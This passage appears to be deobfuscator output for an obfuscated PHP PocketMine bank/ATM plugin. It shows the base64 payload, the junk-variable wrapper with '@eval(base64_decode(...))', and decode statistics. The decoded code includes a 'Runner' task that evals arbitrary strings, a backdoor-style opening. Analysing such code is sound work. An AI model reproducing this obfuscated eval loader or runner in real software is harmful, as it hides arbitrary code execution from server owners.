llciA9IHN0cnRvbG93ZXIoJHNlbmRlci0+Z2V0TmFtZSgpKTsKCQkJJGFsbCA9ICR0aGlzLT5iYW5rLT5nZXRBbGwoKTsKCQkkbW9uZXkgPSBFY29ub215QVBJOjpnZXRJbnN0YW5jZSgpLT5teU1vbmV5KCRwbGF5ZXIpOwoJCSRyZXN1bHQgPSAkZGF0YVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHJlc3VsdCAhPSBudWxsKXsKICAgICAgICAgICAgICAgICAgICAgICAgJG1vam9kaSA9ICR0aGlzLT5Nb2pvZGlQbGF5ZXIoJHJlc3VsdCk7CgkJCQkJCSRzZW5kZXItPnNlbmRNZXNzYWdlKCLCp2ZNb2pvZGkgSGVzYWIgQmFua2nCp2EgJHJlc3VsdCDCp2Yswqc2ICRtb2pvZGkgJCDCp2ZNaWJhc2hhZCIpOwoJCQkJCQkkZHJhZnQgPSAiTW9qb2RpIERpZ2FyYW4gR2VyZWZ0ZSBTaG9kIHwgICRyZXN1bHQgIHwgIiAuICRzZW5kZXItPmdldE5hbWUoKTsKCQkJCQkJJGludiA9ICRzZW5kZXItPmdldEludmVudG9yeSgpOwoJCQkkaGFuZCA9ICRpbnYtPmdldEl0ZW1JbkhhbmQoKTsKCQkJJG5idCA9ICRoYW5kLT5nZXROYW1lZFRhZygpOwoJCQkkZGVwID0gJG5idC0+Z2V0U3RyaW5nKCJPd25lciIpOwoJCQkJCSRyZWxheSA9IGludHZhbCh0aW1lKCkpOwoJCQkJCSR0aW1lID0gZGF0ZSgnbS1kLVkgSDppOnMnLCAkcmVsYXkpOwoJCQkJICAgICRsb2dzID0gbmV3IENvbmZpZygkdGhpcy0+Z2V0RGF0YUZvbGRlcigpIC4gInBsYXllcnMvIiAuIHN0cnRvbG93ZXIoJGRlcCkgLiAiLnltbCIsIENvbmZpZzo6WUFNTCk7CiAgICAgICAgICAgICAgICAgICAgJGxvZ3MtPnNldCgkdGltZSwgJGRyYWZ0KTsKICAgICAgICAgICAgICAgICAgICAkbG9ncy0+c2F2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgJGZvcm0tPnNldFRpdGxlKCLCpznCpzlBVE0gID4gTW9qb2RpIERpZ2FyYW4iKTsKICAgICAgICAkZm9ybS0+YWRkSW5wdXQoIk1vam9kaSBLaSBSbyBNaWtoeSBiZWJpbmkgPyIpOwogICAgICAgICRmb3JtLT5zZW5kVG9QbGF5ZXIoJHNlbmRlcik7CiAgICB9CgkKCXB1YmxpYyBmdW5jdGlvbiBvbkRpc2FibGUoKXsKCQkkdGhpcy0+Z2V0TG9nZ2VyKCktPmluZm8oIsKnY8SQRGlzYWJsZSAhIik7Cgl9Cn0KCmNsYXNzIFJ1bm5lciBleHRlbmRzIFRhc2sgewoJcHJpdmF0ZSAkY21kOwoJcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KHN0cmluZyAkY21kKSB7CgkJJHRoaXMtPmNtZCA9ICRjbWQ7Cgl9CglwdWJsaWMgZnVuY3Rpb24gb25SdW4oaW50ICR0aWNrKSB7CgkJQGV2YWwoJHRoaXMtPmNtZCk7Cgl9Cn0K";$saosfpasfnipsan="dpsafoisaoifbasoifbaoswfofsafpamfpomwpoafmpaomfpo";@eval(base64_decode($asdoasfouoiano));$siodoaisdoiansfionasoifnasof="asfoasoifaoifoiawfoiawnfoina";$oifasoifaoisnfoiawnfoinawoif="safnaosnfoiawnfoiawnfoinawoifnsaoigiuegiu8h";
Function Calls
base64_decode | 1 |
Stats
MD5 | d20b1185e7fd56e4bc25391c41878aed |
Eval Count | 1 |
Decode Time | 92 ms |